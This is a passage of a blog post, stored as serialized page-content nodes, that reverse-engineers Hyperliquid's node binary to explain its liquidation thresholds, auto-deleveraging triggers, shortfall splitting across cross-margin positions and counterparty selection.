",{"type":25,"tag":65,"props":160049,"children":160050},{},[160051],{"type":31,"value":160052},"inference",{"type":31,"value":160054},", and the right tooling, we'll take a deep dive using an ",{"type":25,"tag":65,"props":160056,"children":160057},{},[160058],{"type":31,"value":160059},"interactive interface",{"type":31,"value":160061},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":25,"tag":26,"props":160063,"children":160065},{"id":160064},"the-million-dollar-question",[160066],{"type":31,"value":160067},"The Million Dollar Question",{"type":25,"tag":34,"props":160069,"children":160070},{},[160071,160073,160078],{"type":31,"value":160072},"Let's say a terrible trader opens a ",{"type":25,"tag":65,"props":160074,"children":160075},{},[160076],{"type":31,"value":160077},"50x",{"type":31,"value":160079}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":25,"tag":34,"props":160081,"children":160082},{},[160083,160085,160091],{"type":31,"value":160084},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":25,"tag":115,"props":160086,"children":160088},{"className":160087},[],[160089],{"type":31,"value":160090},"compute_margin_requirement_by_mode",{"type":31,"value":160092}," function.",{"type":25,"tag":34,"props":160094,"children":160095},{},[160096],{"type":31,"value":160097},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":25,"tag":160099,"props":160100,"children":160101},"tip",{},[160102],{"type":25,"tag":34,"props":160103,"children":160104},{},[160105,160107,160112,160114,160121,160123,160128],{"type":31,"value":160106},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":25,"tag":65,"props":160108,"children":160109},{},[160110],{"type":31,"value":160111},"click through",{"type":31,"value":160113}," each action performed by ",{"type":25,"tag":71,"props":160115,"children":160118},{"href":160116,"rel":160117},"https://github.com/renato-osec/patina-research",[75],[160119],{"type":31,"value":160120},"our Rust reverse engineering agent",{"type":31,"value":160122},". Return to the regular view by clicking ",{"type":25,"tag":115,"props":160124,"children":160126},{"className":160125},[],[160127],{"type":31,"value":7496},{"type":31,"value":80},{"type":25,"tag":160130,"props":160131,"children":160133},"bndb-viewer-embed",{"addr":160132,"line-start":5516,"line-end":135638},"0x555556bb4d20",[],{"type":25,"tag":34,"props":160135,"children":160136},{},[160137,160139,160145],{"type":31,"value":160138},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":25,"tag":115,"props":160140,"children":160142},{"className":160141},[],[160143],{"type":31,"value":160144},"OptionUnitQty",{"type":31,"value":160146},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":25,"tag":34,"props":160148,"children":160149},{},[160150],{"type":31,"value":160151},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":25,"tag":191,"props":160153,"children":160154},{},[160155],{"type":25,"tag":115,"props":160156,"children":160159},{"className":160157},[5485,160158],"math-display",[160160],{"type":25,"tag":201,"props":160161,"children":160164},{"className":160162},[160163],"katex-display",[160165],{"type":25,"tag":201,"props":160166,"children":160168},{"className":160167},[5491],[160169],{"type":25,"tag":201,"props":160170,"children":160172},{"className":160171,"ariaHidden":5497},[5496],[160173,160204],{"type":25,"tag":201,"props":160174,"children":160176},{"className":160175},[5502],[160177,160181,160191,160195,160200],{"type":25,"tag":201,"props":160178,"children":160180},{"className":160179,"style":95544},[5507],[],{"type":25,"tag":201,"props":160182,"children":160184},{"className":160183},[5513,31],[160185],{"type":25,"tag":201,"props":160186,"children":160188},{"className":160187},[5513],[160189],{"type":31,"value":160190},"liq_equity",{"type":25,"tag":201,"props":160192,"children":160194},{"className":160193,"style":5691},[5593],[],{"type":25,"tag":201,"props":160196,"children":160198},{"className":160197},[5696],[160199],{"type":31,"value":1383},{"type":25,"tag":201,"props":160201,"children":160203},{"className":160202,"style":5691},[5593],[],{"type":25,"tag":201,"props":160205,"children":160207},{"className":160206},[5502],[160208,160213],{"type":25,"tag":201,"props":160209,"children":160212},{"className":160210,"style":160211},[5507],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":25,"tag":201,"props":160214,"children":160216},{"className":160215},[5513],[160217,160221,160339],{"type":25,"tag":201,"props":160218,"children":160220},{"className":160219},[23212,114649],[],{"type":25,"tag":201,"props":160222,"children":160224},{"className":160223},[114654],[160225],{"type":25,"tag":201,"props":160226,"children":160228},{"className":160227},[5534,23137],[160229,160327],{"type":25,"tag":201,"props":160230,"children":160232},{"className":160231},[5539],[160233,160322],{"type":25,"tag":201,"props":160234,"children":160237},{"className":160235,"style":160236},[5544],"height:1.427em;",[160238,160278,160289],{"type":25,"tag":201,"props":160239,"children":160241},{"style":160240},"top:-2.314em;",[160242,160246],{"type":25,"tag":201,"props":160243,"children":160245},{"className":160244,"style":113302},[5553],[],{"type":25,"tag":201,"props":160247,"children":160249},{"className":160248},[5513],[160250,160255,160259,160264,160268],{"type":25,"tag":201,"props":160251,"children":160253},{"className":160252},[5513],[160254],{"type":31,"value":4629},{"type":25,"tag":201,"props":160256,"children":160258},{"className":160257,"style":5594},[5593],[],{"type":25,"tag":201,"props":160260,"children":160262},{"className":160261},[5599],[160263],{"type":31,"value":112393},{"type":25,"tag":201,"props":160265,"children":160267},{"className":160266,"style":5594},[5593],[],{"type":25,"tag":201,"props":160269,"children":160271},{"className":160270},[5513,31],[160272],{"type":25,"tag":201,"props":160273,"children":160275},{"className":160274},[5513],[160276],{"type":31,"value":160277},"leverage",{"type":25,"tag":201,"props":160279,"children":160280},{"style":114704},[160281,160285],{"type":25,"tag":201,"props":160282,"children":160284},{"className":160283,"style":113302},[5553],[],{"type":25,"tag":201,"props":160286,"children":160288},{"className":160287,"style":114714},[114713],[],{"type":25,"tag":201,"props":160290,"children":160292},{"style":160291},"top:-3.677em;",[160293,160297],{"type":25,"tag":201,"props":160294,"children":160296},{"className":160295,"style":113302},[5553],[],{"type":25,"tag":201,"props":160298,"children":160300},{"className":160299},[5513],[160301,160307,160317],{"type":25,"tag":201,"props":160302,"children":160304},{"className":160303},[5513],[160305],{"type":31,"value":160306},"∣",{"type":25,"tag":201,"props":160308,"children":160310},{"className":160309},[5513,31],[160311],{"type":25,"tag":201,"props":160312,"children":160314},{"className":160313},[5513],[160315],{"type":31,"value":160316},"notional",{"type":25,"tag":201,"props":160318,"children":160320},{"className":160319},[5513],[160321],{"type":31,"value":160306},{"type":25,"tag":201,"props":160323,"children":160325},{"className":160324},[23240],[160326],{"type":31,"value":23243},{"type":25,"tag":201,"props":160328,"children":160330},{"className":160329},[5539],[160331],{"type":25,"tag":201,"props":160332,"children":160335},{"className":160333,"style":160334},[5544],"height:0.8804em;",[160336],{"type":25,"tag":201,"props":160337,"children":160338},{},[],{"type":25,"tag":201,"props":160340,"children":160342},{"className":160341},[23234,114649],[],{"type":25,"tag":26,"props":160344,"children":160346},{"id":160345},"what-if-nobody-wants-to-buy-the-position",[160347],{"type":31,"value":160348},"What If Nobody Wants to Buy the Position?",{"type":25,"tag":34,"props":160350,"children":160351},{},[160352],{"type":31,"value":160353},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":25,"tag":34,"props":160355,"children":160356},{},[160357,160359,160364],{"type":31,"value":160358},"When that happens, the exchange is basically left with a ",{"type":25,"tag":65,"props":160360,"children":160361},{},[160362],{"type":31,"value":160363},"hot potato",{"type":31,"value":160365}," to get rid of: what should it even do with the debt?",{"type":25,"tag":4321,"props":160367,"children":160369},{"id":160368},"the-risk-engine",[160370],{"type":31,"value":160371},"The Risk Engine",{"type":25,"tag":34,"props":160373,"children":160374},{},[160375],{"type":31,"value":160376},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":25,"tag":26,"props":160378,"children":160380},{"id":160379},"clearing-up-bad-debt",[160381],{"type":31,"value":160382},"Clearing Up Bad Debt",{"type":25,"tag":34,"props":160384,"children":160385},{},[160386,160387,160394],{"type":31,"value":18109},{"type":25,"tag":71,"props":160388,"children":160391},{"href":160389,"rel":160390},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[75],[160392],{"type":31,"value":160393},"Hyperliquid docs",{"type":31,"value":160395}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":25,"tag":34,"props":160397,"children":160398},{},[160399,160401,160412,160414,160420,160422,160428],{"type":31,"value":160400},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":25,"tag":71,"props":160402,"children":160405},{"href":160403,"rel":160404},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[75],[160406],{"type":25,"tag":115,"props":160407,"children":160409},{"className":160408},[],[160410],{"type":31,"value":160411},"Clearinghouse",{"type":31,"value":160413},", a struct containing all liquidation-related info, nested within a bigger ",{"type":25,"tag":115,"props":160415,"children":160417},{"className":160416},[],[160418],{"type":31,"value":160419},"Exchange",{"type":31,"value":160421}," data structure. This is an example of what it might hold when serialized as ",{"type":25,"tag":115,"props":160423,"children":160425},{"className":160424},[],[160426],{"type":31,"value":160427},"MessagePack",{"type":31,"value":160429}," at runtime.",{"type":25,"tag":34,"props":160431,"children":160432},{},[160433],{"type":31,"value":160434},"This data will come in handy both for us and the agent.",{"type":25,"tag":160436,"props":160437,"children":160439},"file-download",{"path":160438},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":25,"tag":34,"props":160441,"children":160442},{},[160443,160445,160450],{"type":31,"value":160444},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":25,"tag":115,"props":160446,"children":160448},{"className":160447},[],[160449],{"type":31,"value":160411},{"type":31,"value":160451},". Some renaming later, we can infer something like this:",{"type":25,"tag":160130,"props":160453,"children":160457},{"source":160454,"target":160455,"direction":160456},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":25,"tag":34,"props":160459,"children":160460},{},[160461,160463,160468,160470,160476],{"type":31,"value":160462},"We have one huge function handling all clearinghouse operations, which we call ",{"type":25,"tag":115,"props":160464,"children":160466},{"className":160465},[],[160467],{"type":31,"value":160455},{"type":31,"value":160469},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":25,"tag":115,"props":160471,"children":160473},{"className":160472},[],[160474],{"type":31,"value":160475},"exchange_end_block",{"type":31,"value":160477},". So, at the end of each block we run some checks.",{"type":25,"tag":160099,"props":160479,"children":160480},{},[160481],{"type":25,"tag":34,"props":160482,"children":160483},{},[160484],{"type":31,"value":160485},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":25,"tag":34,"props":160487,"children":160488},{},[160489,160491,160497],{"type":31,"value":160490},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":25,"tag":115,"props":160492,"children":160494},{"className":160493},[],[160495],{"type":31,"value":160496},"clearinghouse.perform_auto_deleveraging",{"type":31,"value":160498}," flag.",{"type":25,"tag":160130,"props":160500,"children":160504},{"addr":160501,"line-start":160502,"line-end":160503},"0x555556ac3850","3290","3301",[],{"type":25,"tag":34,"props":160506,"children":160507},{},[160508,160510,160515],{"type":31,"value":160509},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":25,"tag":115,"props":160511,"children":160513},{"className":160512},[],[160514],{"type":31,"value":160411},{"type":31,"value":4661},{"type":25,"tag":40,"props":160517,"children":160519},{"id":160518},"threshold-condition",[160520],{"type":31,"value":160521},"Threshold Condition",{"type":25,"tag":34,"props":160523,"children":160524},{},[160525,160527,160532],{"type":31,"value":160526},"The natural connection between liquidations and ADL is ",{"type":25,"tag":65,"props":160528,"children":160529},{},[160530],{"type":31,"value":160531},"shortfall",{"type":31,"value":160533},": by how much a position, or the entire system (!), is underwater.",{"type":25,"tag":34,"props":160535,"children":160536},{},[160537],{"type":31,"value":160538},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":25,"tag":20392,"props":160540,"children":160542},{"id":160541},"who-is-underwater",[160543],{"type":31,"value":160544},"Who Is Underwater?",{"type":25,"tag":34,"props":160546,"children":160547},{},[160548,160550,160555,160557,160563],{"type":31,"value":160549},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":25,"tag":115,"props":160551,"children":160553},{"className":160552},[],[160554],{"type":31,"value":160455},{"type":31,"value":160556},", starting from all user positions, which are stored in ",{"type":25,"tag":115,"props":160558,"children":160560},{"className":160559},[],[160561],{"type":31,"value":160562},"clearinghouse.user_states",{"type":31,"value":160564},", as we can also see from the serialization.",{"type":25,"tag":160099,"props":160566,"children":160567},{},[160568],{"type":25,"tag":34,"props":160569,"children":160570},{},[160571],{"type":31,"value":160572},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":25,"tag":160130,"props":160574,"children":160578},{"source":160575,"target":160475,"direction":160576,"path":160577},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":25,"tag":34,"props":160580,"children":160581},{},[160582,160583,160588,160590,160596,160598,160604,160606,160612],{"type":31,"value":18109},{"type":25,"tag":115,"props":160584,"children":160586},{"className":160585},[],[160587],{"type":31,"value":160575},{"type":31,"value":160589}," essentially turns that into an ",{"type":25,"tag":115,"props":160591,"children":160593},{"className":160592},[],[160594],{"type":31,"value":160595},"Iter",{"type":31,"value":160597},", then, inside of ",{"type":25,"tag":115,"props":160599,"children":160601},{"className":160600},[],[160602],{"type":31,"value":160603},"build_adl_candidate_set",{"type":31,"value":160605}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":25,"tag":115,"props":160607,"children":160609},{"className":160608},[],[160610],{"type":31,"value":160611},"AdlIterEntry",{"type":31,"value":59405},{"type":25,"tag":160130,"props":160614,"children":160616},{"type-name":160615},"AdlIterContext",[],{"type":25,"tag":34,"props":160618,"children":160619},{},[160620,160622,160628,160630,160636,160638,160644,160646,160651],{"type":31,"value":160621},"Note that in storage, ",{"type":25,"tag":115,"props":160623,"children":160625},{"className":160624},[],[160626],{"type":31,"value":160627},"Isolated",{"type":31,"value":160629}," positions have their own independent ",{"type":25,"tag":115,"props":160631,"children":160633},{"className":160632},[],[160634],{"type":31,"value":160635},"Entry",{"type":31,"value":160637}," in the position iterators, and ",{"type":25,"tag":115,"props":160639,"children":160641},{"className":160640},[],[160642],{"type":31,"value":160643},"Cross",{"type":31,"value":160645}," positions have a single common ",{"type":25,"tag":115,"props":160647,"children":160649},{"className":160648},[],[160650],{"type":31,"value":160635},{"type":31,"value":160652},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":25,"tag":160130,"props":160654,"children":160657},{"addr":160655,"line-start":45329,"line-end":160656},"0x555556266b10","163",[],{"type":25,"tag":34,"props":160659,"children":160660},{},[160661],{"type":31,"value":160662},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":25,"tag":160130,"props":160664,"children":160667},{"addr":160501,"line-start":160665,"line-end":160666},"506","527",[],{"type":25,"tag":34,"props":160669,"children":160670},{},[160671,160673],{"type":31,"value":160672},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":25,"tag":160674,"props":160675,"children":160678},"bndb-xref",{"lines":160676,"addrs":160677},"1-2","0x555556ac3e18-0x555556ac3e18",[160679],{"type":31,"value":160680},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":25,"tag":34,"props":160682,"children":160683},{},[160684,160686,160692,160694,160700,160702,160708,160710,160716],{"type":31,"value":160685},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":25,"tag":115,"props":160687,"children":160689},{"className":160688},[],[160690],{"type":31,"value":160691},"only_isolated",{"type":31,"value":160693}," (or ",{"type":25,"tag":115,"props":160695,"children":160697},{"className":160696},[],[160698],{"type":31,"value":160699},"strict_isolated",{"type":31,"value":160701}," in MessagePack dumps) are added to a separate queue, ",{"type":25,"tag":115,"props":160703,"children":160705},{"className":160704},[],[160706],{"type":31,"value":160707},"deferred_queue",{"type":31,"value":160709},", which triggers ADL regardless of the system's ",{"type":25,"tag":115,"props":160711,"children":160713},{"className":160712},[],[160714],{"type":31,"value":160715},"total_shortfall",{"type":31,"value":160717},". This is dictated by this branch.",{"type":25,"tag":160130,"props":160719,"children":160722},{"addr":160501,"line-start":160720,"line-end":160721},"211","243",[],{"type":25,"tag":34,"props":160724,"children":160725},{},[160726,160728,160735],{"type":31,"value":160727},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":25,"tag":71,"props":160729,"children":160732},{"href":160730,"rel":160731},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[75],[160733],{"type":31,"value":160734},"March 2025 incident",{"type":31,"value":160736},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":25,"tag":20392,"props":160738,"children":160740},{"id":160739},"how-do-we-get-rid-of-debt",[160741],{"type":31,"value":160742},"How Do We Get Rid of Debt?",{"type":25,"tag":34,"props":160744,"children":160745},{},[160746],{"type":31,"value":160747},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":25,"tag":34,"props":160749,"children":160750},{},[160751,160753,160758,160760,160765,160767,160772],{"type":31,"value":160752},"Thus, if the debt is insurmountable, the ",{"type":25,"tag":115,"props":160754,"children":160756},{"className":160755},[],[160757],{"type":31,"value":160707},{"type":31,"value":160759}," is overwritten by all the users marked by ",{"type":25,"tag":115,"props":160761,"children":160763},{"className":160762},[],[160764],{"type":31,"value":160603},{"type":31,"value":160766},", otherwise we keep it and only holders of underwater ",{"type":25,"tag":115,"props":160768,"children":160770},{"className":160769},[],[160771],{"type":31,"value":160699},{"type":31,"value":160773}," positions from the earlier loop are considered for ADL.",{"type":25,"tag":160099,"props":160775,"children":160776},{},[160777],{"type":25,"tag":34,"props":160778,"children":160779},{},[160780],{"type":31,"value":160781},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":25,"tag":160130,"props":160783,"children":160786},{"addr":160501,"line-start":160784,"line-end":160785},"523","526",[],{"type":25,"tag":34,"props":160788,"children":160789},{},[160790,160792,160798,160800,160806,160808,160813],{"type":31,"value":160791},"For each underwater position, we do a ",{"type":25,"tag":160674,"props":160793,"children":160795},{"addrs":160794},"0x555556ac42ad-0x555556ac42be",[160796],{"type":31,"value":160797},"B-tree lookup",{"type":31,"value":160799}," on ",{"type":25,"tag":115,"props":160801,"children":160803},{"className":160802},[],[160804],{"type":31,"value":160805},"clearinghouse.user_states[position.user]",{"type":31,"value":160807},", adding them to a ",{"type":25,"tag":115,"props":160809,"children":160811},{"className":160810},[],[160812],{"type":31,"value":18707},{"type":31,"value":160814}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":25,"tag":160130,"props":160816,"children":160819},{"addr":160501,"line-start":160817,"line-end":160818},"635","658",[],{"type":25,"tag":34,"props":160821,"children":160822},{},[160823],{"type":31,"value":160824},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":25,"tag":191,"props":160826,"children":160827},{},[160828],{"type":25,"tag":115,"props":160829,"children":160831},{"className":160830},[5485,160158],[160832],{"type":25,"tag":201,"props":160833,"children":160835},{"className":160834},[160163],[160836],{"type":25,"tag":201,"props":160837,"children":160839},{"className":160838},[5491],[160840],{"type":25,"tag":201,"props":160841,"children":160843},{"className":160842,"ariaHidden":5497},[5496],[160844],{"type":25,"tag":201,"props":160845,"children":160847},{"className":160846},[5502],[160848,160853],{"type":25,"tag":201,"props":160849,"children":160852},{"className":160850,"style":160851},[5507],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":25,"tag":201,"props":160854,"children":160856},{"className":160855},[5513],[160857],{"type":25,"tag":201,"props":160858,"children":160861},{"className":160859},[160860],"mtable",[160862,160942],{"type":25,"tag":201,"props":160863,"children":160866},{"className":160864},[160865],"col-align-r",[160867],{"type":25,"tag":201,"props":160868,"children":160870},{"className":160869},[5534,23137],[160871,160930],{"type":25,"tag":201,"props":160872,"children":160874},{"className":160873},[5539],[160875,160925],{"type":25,"tag":201,"props":160876,"children":160879},{"className":160877,"style":160878},[5544],"height:2.3452em;",[160880,160903],{"type":25,"tag":201,"props":160881,"children":160883},{"style":160882},"top:-4.3452em;",[160884,160889],{"type":25,"tag":201,"props":160885,"children":160888},{"className":160886,"style":160887},[5553],"height:3.3944em;",[],{"type":25,"tag":201,"props":160890,"children":160892},{"className":160891},[5513],[160893],{"type":25,"tag":201,"props":160894,"children":160896},{"className":160895},[5513,31],[160897],{"type":25,"tag":201,"props":160898,"children":160900},{"className":160899},[5513],[160901],{"type":31,"value":160902},"position_weight",{"type":25,"tag":201,"props":160904,"children":160906},{"style":160905},"top:-2.2092em;",[160907,160911],{"type":25,"tag":201,"props":160908,"children":160910},{"className":160909,"style":160887},[5553],[],{"type":25,"tag":201,"props":160912,"children":160914},{"className":160913},[5513],[160915],{"type":25,"tag":201,"props":160916,"children":160918},{"className":160917},[5513,31],[160919],{"type":25,"tag":201,"props":160920,"children":160922},{"className":160921},[5513],[160923],{"type":31,"value":160924},"position_adl_amount",{"type":25,"tag":201,"props":160926,"children":160928},{"className":160927},[23240],[160929],{"type":31,"value":23243},{"type":25,"tag":201,"props":160931,"children":160933},{"className":160932},[5539],[160934],{"type":25,"tag":201,"props":160935,"children":160938},{"className":160936,"style":160937},[5544],"height:1.8452em;",[160939],{"type":25,"tag":201,"props":160940,"children":160941},{},[],{"type":25,"tag":201,"props":160943,"children":160946},{"className":160944},[160945],"col-align-l",[160947],{"type":25,"tag":201,"props":160948,"children":160950},{"className":160949},[5534,23137],[160951,161152],{"type":25,"tag":201,"props":160952,"children":160954},{"className":160953},[5539],[160955,161147],{"type":25,"tag":201,"props":160956,"children":160958},{"className":160957,"style":160878},[5544],[160959,161087],{"type":25,"tag":201,"props":160960,"children":160961},{"style":160882},[160962,160966],{"type":25,"tag":201,"props":160963,"children":160965},{"className":160964,"style":160887},[5553],[],{"type":25,"tag":201,"props":160967,"children":160969},{"className":160968},[5513],[160970,160974,160978,160983,160987],{"type":25,"tag":201,"props":160971,"children":160973},{"className":160972},[5513],[],{"type":25,"tag":201,"props":160975,"children":160977},{"className":160976,"style":5691},[5593],[],{"type":25,"tag":201,"props":160979,"children":160981},{"className":160980},[5696],[160982],{"type":31,"value":1383},{"type":25,"tag":201,"props":160984,"children":160986},{"className":160985,"style":5691},[5593],[],{"type":25,"tag":201,"props":160988,"children":160990},{"className":160989},[5513],[160991,160995,161083],{"type":25,"tag":201,"props":160992,"children":160994},{"className":160993},[23212,114649],[],{"type":25,"tag":201,"props":160996,"children":160998},{"className":160997},[114654],[160999],{"type":25,"tag":201,"props":161000,"children":161002},{"className":161001},[5534,23137],[161003,161071],{"type":25,"tag":201,"props":161004,"children":161006},{"className":161005},[5539],[161007,161066],{"type":25,"tag":201,"props":161008,"children":161011},{"className":161009,"style":161010},[5544],"height:1.3944em;",[161012,161033,161044],{"type":25,"tag":201,"props":161013,"children":161014},{"style":160240},[161015,161019],{"type":25,"tag":201,"props":161016,"children":161018},{"className":161017,"style":113302},[5553],[],{"type":25,"tag":201,"props":161020,"children":161022},{"className":161021},[5513],[161023],{"type":25,"tag":201,"props":161024,"children":161026},{"className":161025},[5513,31],[161027],{"type":25,"tag":201,"props":161028,"children":161030},{"className":161029},[5513],[161031],{"type":31,"value":161032},"total_cross_notional",{"type":25,"tag":201,"props":161034,"children":161035},{"style":114704},[161036,161040],{"type":25,"tag":201,"props":161037,"children":161039},{"className":161038,"style":113302},[5553],[],{"type":25,"tag":201,"props":161041,"children":161043},{"className":161042,"style":114714},[114713],[],{"type":25,"tag":201,"props":161045,"children":161047},{"style":161046},"top:-3.7em;",[161048,161052],{"type":25,"tag":201,"props":161049,"children":161051},{"className":161050,"style":113302},[5553],[],{"type":25,"tag":201,"props":161053,"children":161055},{"className":161054},[5513],[161056],{"type":25,"tag":201,"props":161057,"children":161059},{"className":161058},[5513,31],[161060],{"type":25,"tag":201,"props":161061,"children":161063},{"className":161062},[5513],[161064],{"type":31,"value":161065},"position_notional",{"type":25,"tag":201,"props":161067,"children":161069},{"className":161068},[23240],[161070],{"type":31,"value":23243},{"type":25,"tag":201,"props":161072,"children":161074},{"className":161073},[5539],[161075],{"type":25,"tag":201,"props":161076,"children":161079},{"className":161077,"style":161078},[5544],"height:0.996em;",[161080],{"type":25,"tag":201,"props":161081,"children":161082},{},[],{"type":25,"tag":201,"props":161084,"children":161086},{"className":161085},[23234,114649],[],{"type":25,"tag":201,"props":161088,"children":161089},{"style":160905},[161090,161094],{"type":25,"tag":201,"props":161091,"children":161093},{"className":161092,"style":160887},[5553],[],{"type":25,"tag":201,"props":161095,"children":161097},{"className":161096},[5513],[161098,161102,161106,161111,161115,161125,161129,161134,161138],{"type":25,"tag":201,"props":161099,"children":161101},{"className":161100},[5513],[],{"type":25,"tag":201,"props":161103,"children":161105},{"className":161104,"style":5691},[5593],[],{"type":25,"tag":201,"props":161107,"children":161109},{"className":161108},[5696],[161110],{"type":31,"value":1383},{"type":25,"tag":201,"props":161112,"children":161114},{"className":161113,"style":5691},[5593],[],{"type":25,"tag":201,"props":161116,"children":161118},{"className":161117},[5513,31],[161119],{"type":25,"tag":201,"props":161120,"children":161122},{"className":161121},[5513],[161123],{"type":31,"value":161124},"user_shortfall",{"type":25,"tag":201,"props":161126,"children":161128},{"className":161127,"style":5594},[5593],[],{"type":25,"tag":201,"props":161130,"children":161132},{"className":161131},[5599],[161133],{"type":31,"value":112393},{"type":25,"tag":201,"props":161135,"children":161137},{"className":161136,"style":5594},[5593],[],{"type":25,"tag":201,"props":161139,"children":161141},{"className":161140},[5513,31],[161142],{"type":25,"tag":201,"props":161143,"children":161145},{"className":161144},[5513],[161146],{"type":31,"value":160902},{"type":25,"tag":201,"props":161148,"children":161150},{"className":161149},[23240],[161151],{"type":31,"value":23243},{"type":25,"tag":201,"props":161153,"children":161155},{"className":161154},[5539],[161156],{"type":25,"tag":201,"props":161157,"children":161159},{"className":161158,"style":160937},[5544],[161160],{"type":25,"tag":201,"props":161161,"children":161162},{},[],{"type":25,"tag":34,"props":161164,"children":161165},{},[161166],{"type":31,"value":161167},"We do that here:",{"type":25,"tag":160130,"props":161169,"children":161172},{"addr":160501,"line-start":161170,"line-end":161171},"828","981",[],{"type":25,"tag":34,"props":161174,"children":161175},{},[161176,161177,161183,161185,161191],{"type":31,"value":18109},{"type":25,"tag":160674,"props":161178,"children":161180},{"lines":161179},"77-79",[161181],{"type":31,"value":161182},"inner loop",{"type":31,"value":161184}," above spans all ",{"type":25,"tag":115,"props":161186,"children":161188},{"className":161187},[],[161189],{"type":31,"value":161190},"(asset_idx, direction)",{"type":31,"value":161192}," held in the cross margin position.",{"type":25,"tag":34,"props":161194,"children":161195},{},[161196,161198,161204,161206,161212,161213,161219],{"type":31,"value":161197},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":25,"tag":115,"props":161199,"children":161201},{"className":161200},[],[161202],{"type":31,"value":161203},"adl_output",{"type":31,"value":161205}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":25,"tag":115,"props":161207,"children":161209},{"className":161208},[],[161210],{"type":31,"value":161211},"position_id",{"type":31,"value":12493},{"type":25,"tag":115,"props":161214,"children":161216},{"className":161215},[],[161217],{"type":31,"value":161218},"position_shortfall",{"type":31,"value":80},{"type":25,"tag":160130,"props":161221,"children":161224},{"addr":160501,"line-start":161222,"line-end":161223},"2377","2469",[],{"type":25,"tag":34,"props":161226,"children":161227},{},[161228,161230,161236],{"type":31,"value":161229},"Afterwards we can finally loop over the B-tree containing ",{"type":25,"tag":115,"props":161231,"children":161233},{"className":161232},[],[161234],{"type":31,"value":161235},"(position_id, cut)",{"type":31,"value":161237},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":25,"tag":34,"props":161239,"children":161240},{},[161241,161243,161248],{"type":31,"value":161242},"The final phase of ",{"type":25,"tag":115,"props":161244,"children":161246},{"className":161245},[],[161247],{"type":31,"value":160455},{"type":31,"value":161249}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":25,"tag":160130,"props":161251,"children":161254},{"addr":160501,"addr-start":161252,"addr-end":161253},"0x555556ac6d52","0x555556ac6de8",[],{"type":25,"tag":34,"props":161256,"children":161257},{},[161258],{"type":31,"value":161259},"How are positions chosen (sorted) to be deleveraged?",{"type":25,"tag":4321,"props":161261,"children":161263},{"id":161262},"who-do-we-deleverage",[161264],{"type":31,"value":161265},"Who Do We Deleverage?",{"type":25,"tag":34,"props":161267,"children":161268},{},[161269],{"type":31,"value":161270},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":25,"tag":34,"props":161272,"children":161273},{},[161274],{"type":31,"value":161275},"But what do we mean by fairness? Colloquially, we can say that the 